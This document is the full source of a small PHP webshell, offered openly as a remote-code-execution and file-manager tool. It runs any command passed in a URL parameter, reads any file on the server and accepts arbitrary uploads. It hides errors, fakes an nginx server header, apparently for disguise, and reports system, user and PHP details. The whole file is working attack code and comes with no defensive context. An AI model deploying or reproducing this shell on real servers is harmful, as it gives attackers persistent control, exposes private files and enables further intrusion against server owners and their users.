<?php
// Simple PHP Webshell - RCE + File Manager
// Usage: shell.php?c=<command>&f=<file_to_read>

error_reporting(0);
header('X-Powered-By: nginx/1.29.8');

// Execute command
if(isset($_GET['c'])){
    echo "<pre>" . htmlspecialchars(shell_exec($_GET['c'])) . "</pre>";
}

// Read file
if(isset($_GET['f'])){
    echo "<pre>" . htmlspecialchars(file_get_contents($_GET['f'])) . "</pre>";
}

// Upload file
if(isset($_POST['upload'])){
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $_FILES['file']['name']);
    echo "[+] File uploaded: " . $_FILES['file']['name'];
}

// Info
if(!isset($_GET['c']) && !isset($_GET['f'])){
    echo "[*] Usage: ?c=command | ?f=file | POST upload=file";
    echo "\n[*] System: " . php_uname();
    echo "\n[*] User: " . get_current_user();
    echo "\n[*] PHP: " . phpversion();
}
?>
